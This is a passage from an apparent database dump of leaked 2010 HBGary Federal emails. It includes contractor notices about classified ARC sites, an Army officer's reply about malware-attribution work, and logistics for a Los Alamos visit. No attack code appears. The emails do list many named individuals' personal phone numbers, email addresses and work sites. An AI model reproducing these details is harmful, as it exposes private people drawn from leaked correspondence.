\r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Tom Renshaw\r\n                ,\r\n                  President at Tangent Consulting Corp.\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n\r\n        \r\n\r\n	        \r\n	        \r\n          \r\n            \r\n            \r\n                \r\n              \r\n            \r\n          \r\n\r\n          \r\n            \r\n              \r\n                 Dave Breslin\r\n                ,\r\n                  Regional Sales Engineer\r\n		            \r\n		          \r\n              \r\n                  \r\n                \r\n              \r\n                 &nbsp;Connect\r\n               \r\n              \r\n            \r\n	        \r\n\r\n	        \r\n	        \r\n\r\n        \r\n        \r\n        \r\n        \r\n\r\n        \r\n\r\n      \r\n    \r\n   \r\n\r\n\r\n\r\n  \r\n    \r\n               \r\n    \r\n      \r\n\r\n        \r\n          \r\n            Companies in Victor\'s Network:\r\n          \r\n        \r\n\r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SRA International\r\n                    \r\n                      Victor works here\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     Tenable Network Security\r\n                    \r\n                      Victor follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n               \r\n          \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     CACI International Inc\r\n                    \r\n                      Victor follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n               \r\n\r\n            \r\n              \r\n                      \r\n                     \r\n            \r\n                \r\n             \r\n               \r\n                 \r\n                     SAIC\r\n                    \r\n                      Victor follows this company\r\n                    \r\n                 \r\n                   &nbsp;Follow Company\r\n              \r\n       	                    \r\n             \r\n               \r\n            \r\n\r\n\r\n      \r\n    \r\n   \r\n\r\n    \r\n  \r\n\r\n\r\n  \r\n    \r\n      \r\n        \r\n          \r\n            &copy; 2010, LinkedIn Corporation\r\n          \r\n        \r\n      \r\n    \r\n  \r\n\r\n \r\n\r\n\r\n',1463,'aaron_hbgary_com/1463.html'),(10432,'2010-08-17','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008119.M857462P14101Q5287.eml','\"Ted Vera\" <ted@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Obama, the one-term president - Roger Simon - POLITICO.com','Do either of you see the insanity. Not in the president but in the view that seems to be accepted on politics?!  This person says these things as if their is absolutely nothing wrong with the words coming accross the paper.  This is just fact, like gravity.  I knew that deep inside politicians thought it but didn&#39;t know they were so delusioned they are willing to speak it so casually. \r\nWow.Obama, the one-term president - Roger Simon - POLITICO.comSent from my iPad\r\n\r\n',3291,'aaron_hbgary_com/3291.html'),(10433,'2010-08-17','arc@westfields.net','/aaron@hbgary.com/new/1297008120.M448328P14101Q5289.eml','federal@hbgary.com','ARC Daily Activity Summary','\r\nThis is a daily email notice containing a summary of the active efforts that have had some activity since Monday, 08/16/2010 08:00 AM. Activity is described as one or more documents and/or an announcement being posted to the effort website.\r\n\r\n\r\nNo Activity on Unclassified ARC Efforts Within Defined Timeframe\r\n\r\n\r\n\r\nCWAN ARC Efforts\r\n\r\nNRO-CAPRICA (Announcement & Document Posting)\r\n\r\n\r\n\r\nUnclassified efforts can be viewed on the Internet ARC at https://arc.westfields.net/ Classified efforts can be viewed on the CWAN ARC at http://arc.npa.gov/\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',13874,'aaron_hbgary_com/13874.html'),(10434,'2010-08-17','arc@westfields.net','/aaron@hbgary.com/new/1297008120.M79288P14101Q5288.eml','federal@hbgary.com','CAPRICA CBL document posting','\r\nContractor Bidder\'s Library (CBL) documents have been posted on the NRO-CAPRICA effort website.\r\n\r\n\r\nSITE VIEWING INFORMATION\r\n\r\nThe site is on the Classified ARC accessible  on CWAN/GWAN networks using http://arc.npa.gov/ and on Intelink using http://arc.nro.ic.gov/.  Please find the situation below that fits you and see the associated information.\r\n\r\nI Have Access to the Classified network, and I Have an Account on that system\'s ARC website.\r\nOn CWAN/GWAN go to http://arc.npa.gov/ or on Intelink go to http://arc.nro.ic.gov/, log in using your Classified ARC username and password, click on Current Efforts, and select CAPRICA from the Open Source Listing.\r\n\r\nI Have Access to the Classified network (CWAN/GWAN or Intelink), But I Do NOT Have and Have Never Had an INDIVIDUAL Account on that system\'s ARC website.\r\nIf you have never had an individual account on the Classified ARC, go to http://arc.npa.gov/ (on CWAN/GWAN) or http://arc.nro.ic.gov/ (Intelink), click on \"Create New Account\" to make an account for yourself, and then follow the site access directions given in number one above.  You should use this new account that you create from this point onward whenever accessing the Classified ARC for any purpose.\r\n\r\nI Have Access to the Classified ARC and At One Time, I Had an INDIVIDUAL Account on that system\'s ARC Website, But I No Longer Have That Account Information.				\r\nIf you once had an account on the Classified ARC, please try using the \"Forgot Your Password\" link on the ARC homepage to reset your password. If your Classified email address has changed since your last login, please email (preferred) the web development team at dev@ticom.npa.gov or call secure 853-4620 for help in resetting your password.\r\n\r\nI Have the Appropriate Clearances, But I Do NOT Have Access to CWAN.\r\nFor TS//SI/TK cleared contractors without access to CWAN, the Acquisition web page information can be viewed by scheduling an appointment at any of the three ACE Regional Centers.  Contact information for scheduling an appointment and passing clearances can be found on the Internet (World Wide Web) at https://arc.westfields.net/ by clicking on CONTACTS -> FACILITY CONTACTS, then open the \"ARC Reading Room Access Process\" document for detailed instructions.Prior to scheduling an appointment, you\'re clearance information must be on file at the facility you plan to visit. Please have your cognizant security office pass your TS clearance with required SI/TK accesses, via a standard visit certification message to the Facility Security Officer of the facility you plan to visit.\r\n\r\nI DO NOT Have the Appropriate Clearances to Access CWAN.\r\nObtaining the correct clearances is a difficult task.  You either need to have a unique skill that our organization needs and it cannot find elsewhere, or you need to team with a company that has the correct clearances. Unfortunately, there is no easy answer.  Make sure that your company is entered in our Contractor Registry.  This is made visible on the Internet, but also on our classified network for cleared contractors to see.  It allows contractors with clearances to view your company\'s information, and it might be that a cleared company would then contact you for teaming purposes.\r\n\r\nTo register your company with the Contractor Registry, go to https://arc.westfields.net/, and click on the  \"Register Company\" link.\r\n\r\nTechnical Questions?\r\ndev@ticom.com\r\n\r\nRegards,\r\n\r\nARC Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',11519,'aaron_hbgary_com/11519.html'),(10435,'2010-08-17','\"Leibner, Lincoln D LTC MIL USA OSA\" <lincoln.leibner@us.army.mil>','/aaron@hbgary.com/new/1297008124.M966130P14101Q5290.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Attribution','Aaron, while I have nothing substantive to offer you, I will strongly endorse your line of discovery. I have attached a recent piece by Huba Wass de Czege. He is a VERY well regarded Army strategist who has made a recent foray into cyber war that I think you might find useful. Cheers, Lincoln \r\n\r\nLieutenant Colonel Lincoln Leibner\r\nUnited States Army\r\nOperations and Technology Office\r\n703-697-7131\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr \r\nDate: Monday, August 16, 2010 21:50\r\nSubject: Re: Attribution\r\nTo: \"Leibner, Lincoln D LTC MIL USA OSA\" \r\n\r\n\r\n> Lincoln,\r\n> \r\n> Thats ok. Thank you for considering it. We have had some success \r\n> but I realize the difficulty with certain data sets. I think we \r\n> are making some good progress on approaches to attribution. We \r\n> are working closely with Palantir and EndGames to build datasets \r\n> off of the malware clustering work we did.\r\n> \r\n> Look forward to seeing you at some of Brian\'s get togethers.\r\n> \r\n> Aaron\r\n> \r\n> \r\n> On Aug 15, 2010, at 9:21 AM, Leibner, Lincoln D LTC MIL USA OSA wrote:\r\n> \r\n> > Aaron, I am sorry to say that after much thought, I am not sure \r\n> how I can be of help on this project. Let me know if there is \r\n> something specific that you think I can do to help however. ~ \r\n> Lincoln \r\n> > \r\n> > Lieutenant Colonel Lincoln Leibner\r\n> > United States Army\r\n> > Operations and Technology Office\r\n> > 703-697-7131\r\n> > \r\n> > ----- Original Message -----\r\n> > From: Aaron Barr  > Date: Friday, July 16, 2010 22:27\r\n> > Subject: Attribution\r\n> > To: Aaron Barr  > \r\n> > \r\n> >> I am sending this request to a small group of individuals. Please \r\n> >> do not forward this email to third parties. HBGary is working \r\n> >> hard to help solve the attribution problem. We have developed a \r\n> >> fingerprint tool which extracts toolmarks left behind in malware \r\n> >> executables. We use these toolmarks to cluster exploits together \r\n> >> which were compiled on the same computer system or development \r\n> >> environment. Notice the clusters in the graphic below. These \r\n> >> groupings illustrate the relationships between over 3000 malware \r\n> >> samples.\r\n> >> We need your help to further validate and improve the tool. \r\n> >> Eventually you can imagine combining this data with open source \r\n> >> and intelligence data. I can see attribution as potentially a \r\n> >> solvable problem. We need your malware samples, as many as you \r\n> >> can provide. This is not something we are looking to profit from \r\n> >> directly, we will be giving this tool away at Blackhat, so helping \r\n> >> us improve the tool will help the community beat back the threat. \r\n> >> If possible please have your representative CISOs or cybersecurity \r\n> >> personnel send malware samples in a password protected zip file. \r\n> >> Provide the password via phone 719-510-8478 or fax to: 720-836-\r\n> >> 4208 we need your samples as soon as possible. Samples provided \r\n> >> will not be shared with third parties and your participation will \r\n> >> be held in strict confidence.\r\n> >> \r\n> >> In exchange for your help, I will provide you with a summary \r\n> >> report of our findings and you will have made a significant \r\n> >> contribution to securing America\'s networks. \r\n> >> \r\n> >> \r\n> >> \r\n> >> \r\n> >> Aaron Barr\r\n> >> CEO\r\n> >> HBGary Federal Inc.\r\n> >> \r\n> \r\n',5367,'aaron_hbgary_com/5367.html'),(10436,'2010-08-17','\"Jerry McClure\" <Jerry.McClure@agilex.com>','/aaron@hbgary.com/new/1297008125.M367425P14101Q5291.eml','\"ted@hbgary.com\" <ted@hbgary.com>,\"ted@hbgary.com\" <ted@hbgary.com>,,','RE: HBGary & LANL Visit','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nTed &#8211; I haven&#8217;t heard back from\r\nanyone regarding having a telecom at 3pm EST with LANL nor have I heard if\r\nHbGary will be out there the morning of 8/23 (fly out 8/22).&nbsp; Can you please\r\nrespond so I can get back to the customer and set up this telecom?&nbsp; The\r\nfollowing is more information from LANL (David Taylor):\r\n\r\n&nbsp;\r\n\r\nA couple of other things.\r\n\r\n&nbsp;\r\n\r\nThe install device for their\r\ntools should be a DVD that is read only, not something that is read/Write.\r\n\r\nWe will need to scan it prior to\r\ninstallation.\r\n\r\n&nbsp;\r\n\r\nI had also forgot to mention,\r\nBuffalo Thunder is probably the best place to stay in the vicinity.\r\n\r\nIt is in Pojoaque, otherwise they should find something up in\r\nLos Alamos.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jerry McClure \r\nSent: Monday, August 16, 2010 1:45 PM\r\nTo: ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMap from airport to LANL\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor, David A\r\n[mailto:dataylor@lanl.gov] \r\nSent: Monday, August 16, 2010 10:28 AM\r\nTo: Jerry McClure; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G;\r\nVigil-Sandoval, Joyce S; Wight, Richard Lee; Grimm-Fogle, Gayla; Lopez, Leon M;\r\nMartinez, Timmy L\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is the form, Address,\r\ndirections, and contacts.\r\n\r\n&nbsp;\r\n\r\nFly into Albuquerque NM. It is\r\nalso possible to fly into Santa Fe, NM, which about 1 hour closer.\r\n\r\nFrom Albuquerque (ABQ), about\r\n2 hrs.:\r\n\r\nFrom ABQ Airport take Sunport\r\nto I-25\r\n\r\nGet on I-25 N to Santa Fe\r\n\r\nTurn North onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to\r\nPojoaque, NM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\nFrom Santa Fe, about 1 hour\r\n\r\nTake Airport Rd to NM 599\r\nRelief Route\r\n\r\nTurn Left onto NM 599 Relief\r\nRoute to US 285\r\n\r\nTurn North on US 285 to\r\nPojoaque, NM\r\n\r\nTurn Left onto NM&nbsp; 502 to\r\nLos Alamos, NM\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nWork sites include (map blast\r\nworthy):\r\n\r\nShaw Building (this is where I\r\nsit)\r\n\r\n335 Central Park Square\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nTRK (this is where testing\r\nwill be done)\r\n\r\n195 East Rd., Suite 103\r\n\r\nLos Alamos, NM 87544\r\n\r\n&nbsp;\r\n\r\nContacts:\r\n\r\nDavid Taylor (IT)\r\n\r\n505 667 6884 Office\r\n\r\n505 231 7489 Cell\r\n\r\n505 665 2502 Fax\r\n\r\n&nbsp;\r\n\r\nTom Tran (DBA)\r\n\r\n505 665 0734 Office\r\n\r\n&nbsp;\r\n\r\nJim Gore (Sys Admin)\r\n\r\n505 665 5850 Office\r\n\r\n&nbsp;\r\n\r\nShaw Office (IT Off)\r\n\r\nSuzie Trujillo\r\n\r\n505 655 3310\r\n\r\n&nbsp;\r\n\r\nTRK Office\r\n\r\nJoyce Vigil-Sandoval (DBA Off)\r\n505 655 1407\r\n\r\nGala Grimm-Fogle (Sys Admin Off)\r\n505 665 5779\r\n\r\n&nbsp;\r\n\r\nDavid Taylor\r\n\r\ndataylor@lanl.gov\r\n\r\n505-667-6884\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Jerry McClure\r\n[mailto:Jerry.McClure@agilex.com] \r\nSent: Sunday, August 15, 2010 7:54 AM\r\nTo: Taylor, David A; ted@hbgary.com\r\nCc: mark@hbgary.com; aaron@hbgary.com; Ira Entis; Trujillo, Susie G\r\nSubject: RE: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDavid - need you\r\nto send the form you mention below.&nbsp; Also can you send the hotel\r\ninformation, airport to fly into, and address of the facility they are to\r\nreport to on Monday 8/23 morning.&nbsp; I could not find this information that\r\nSree used.&nbsp; This way&nbsp;HbGary can make their reservations.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTed - The start\r\ndate&nbsp;everyone is&nbsp;shooting for is Monday 8/23 which means your team\r\nflies in Sunday evening.&nbsp; Below is information your team needs to send\r\nto&nbsp;Susie (cced) and other information you&nbsp;should be aware\r\nof.&nbsp;&nbsp;David will send the form for the laptop and information\r\nrequested above.&nbsp; We felt it would be wise to have a telecom on Thursday\r\n8/19 with LANL, your team, and myself to discuss last minute details.&nbsp;\r\nRight now we have 3pm EST&nbsp;on Thursday 8/19 for the telecom.&nbsp; Let me\r\nknow if this works for you and I will set up a telecom number for everyone to\r\ndial into.&nbsp; Let me know if there is anything else you need to make 8/23\r\nhappen.Thanks&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Taylor,\r\nDavid A [dataylor@lanl.gov]\r\nSent: Thursday, August 12, 2010 7:02 PM\r\nTo: Jerry McClure\r\nCc: Ira Entis; Trujillo, Susie G\r\nSubject: HBGary &amp; LANL Visit\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nJerry\r\n\r\n&nbsp;\r\n\r\nAttached is a form that each of\r\nthe HBGary guys will need to fill out to bring their laptops in to use to\r\ncollect notes.\r\n\r\nPlease note that the logic on the\r\n4 questions for &#8220;PED user must respond to the following statements&#8221; below name\r\nstuff is very backwards.\r\n\r\nA PED is the laptop.\r\n\r\nThey will need the make, model\r\nnumber, and serial number on the description of it.\r\n\r\nThey will need to sign it.\r\n\r\nWe will enter the location.\r\n\r\n&nbsp;\r\n\r\nFor badging:\r\n\r\nI will need name, Birthdates,\r\naddress, phone number and Social Security Number.\r\n\r\nThis can go directly to Suzie, she\r\nis CC&#8217;d.\r\n\r\nAs they are US citizens, they will\r\nonly need their driver lic. When they go to get badged.\r\n\r\n&nbsp;\r\n\r\nI will make set up a meeting time\r\nfor Thursday to conference call.\r\n\r\nI would like you to provide a\r\nconference call number, it would save me some trouble.\r\n\r\n&nbsp;\r\n\r\nYou 